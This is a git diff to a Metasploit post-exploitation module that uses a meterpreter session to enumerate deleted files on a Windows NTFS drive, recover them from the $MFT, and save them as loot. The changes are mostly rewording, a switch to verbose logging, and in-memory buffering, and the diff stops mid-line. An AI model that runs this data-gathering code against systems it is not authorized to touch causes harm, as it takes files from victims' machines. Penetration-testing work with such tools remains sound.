diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index c8c34bc610..d41c46d091 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -11,20 +11,27 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Recovery Files', - 'Description' => %q{ - This module list and try to recover deleted files from NTFS file systems.}, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Borja Merino '], - 'References' => [ + 'Name' => 'Windows Gather Deleted Files Enumeration and Recovering', + 'Description' => %q{ + This module list and try to recover deleted files from NTFS file systems. Use + the FILES option to guide recovery. Let it empty to enumerate deleted files in the + DRIVE. Set FILES to an extension (Ex. "pdf") to recover deleted files with that + extension. Or set FILES to a comma separated list of IDs (from enumeration) to + recover those files. The user must have into account file enumeration and recovery + could take a long time, use the TIMEOUT option to abort enumeration or recovery by + extension after that time (in seconds). + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Borja Merino '], + 'References' => [ [ 'URL', 'http://www.youtube.com/watch?v=9yzCf360ujY&hd=1' ] ] )) register_options( [ - OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way.',""]), + OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way. Let empty to enumerate deleted files.',""]), OptString.new('DRIVE',[true,'Drive you want to recover files from.',"C:"]), OptInt.new('TIMEOUT', [true,'Search timeout. If 0 the module will go through the entire $MFT.', 3600]) ], self.class) @@ -51,7 +58,7 @@ class Metasploit3 < Msf::Post return end - print_status("Drive: #{drive} OS: #{winver}") + print_status("System Info - OS: #{winver}, Drive: #{drive}") type = datastore['FILES'] files = type.split(',') # To extract files from its IDs @@ -68,14 +75,14 @@ class Metasploit3 < Msf::Post handle = get_mft_info(drive) if handle != nil data_runs = mft_data_runs(handle) - print_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2) + vprint_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2) to = (datastore['TIMEOUT'].zero?) ? nil : datastore['TIMEOUT'] begin ::Timeout.timeout(to) do deleted_files(data_runs[1..-1], handle,files) end rescue ::Timeout::Error - print_error("Server timed out after #{to} seconds. Skipping...") + print_error("Timed out after #{to} seconds. Skipping...") end end end @@ -98,8 +105,8 @@ class Metasploit3 < Msf::Post rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil) attributes = rf['lpBuffer'][56..-1] name = get_name(attributes) - print_status("File to download: #{name}}") - print_status("Getting Data Runs ...") + print_status("File to download: #{name}") + vprint_status("Getting Data Runs ...") data = get_data_runs(attributes) if data == nil or name == nil print_error("There were problems to recover the file: #{name}") @@ -110,32 +117,31 @@ class Metasploit3 < Msf::Post if data[0] == 0 print_status ("The file is resident. Saving #{name} ... ") path = store_loot("resident.file", "application/octet-stream", session, data[1], name.downcase, nil) - print_good("File saved: #{name.downcase}") + print_good("File saved on #{path}") # If file no resident else - path = store_loot("nonresident.file", "application/octet-stream", session, nil, name.downcase, nil) - # Due to the size of the non-resident files we have to store small chunks of data as we go through each of the data runs - # that make up the file (save_file function). That's way we use store_loot and File.Open in append mode. - file = File.open(path, "ab") + # that make up the file (save_file function). size = get_size(rf['lpBuffer'][56..-1]) print_status ("The file is not resident. Saving #{name} ... (#{size} bytes)") base = 0 # Go through each of the data runs to save the file + file_data = "" 1.upto(data.count-1) { |i| datarun = get_datarun_location(data[i]) base = base+datarun[0] - size = save_file([base,datarun[1]],size,file,handle) + size = save_file([base,datarun[1]],size,file_data,handle) } - file.close - print_good("File saved: #{name.downcase}") + #file.close + path = store_loot("nonresident.file", "application/octet-stream", session, file_data, name.downcase, nil) + print_good("File saved on #{path}") end } end # Save the no resident file to disk - def save_file(datarun,size,file,handle) + def save_file(datarun,size,file_data,handle) ra = file_system_features(handle) bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0] distance = get_high_low_values(datarun[0]*bytes_per_cluster) @@ -144,19 +150,19 @@ class Metasploit3 < Msf::Post buffer_size = 8 division = datarun[1]/buffer_size rest = datarun[1]%buffer_size - print_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ") + vprint_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ") if (division > 0) 1.upto(division) { |i| if (size>bytes_per_cluster*buffer_size) rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil) - file.write(rf['lpBuffer']) + file_data << rf['lpBuffer'] size = size - bytes_per_cluster * buffer_size - print_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left") + vprint_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left") # It's the last datarun else rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil) - file.write(rf['lpBuffer'][0..size-1]) - print_status("Save 1 chunk of #{size} bytes") + file_data << rf['lpBuffer'][0..size-1] + vprint_status("Save 1 chunk of #{size} bytes") end } end @@ -166,13 +172,13 @@ class Metasploit3 < Msf::Post if (size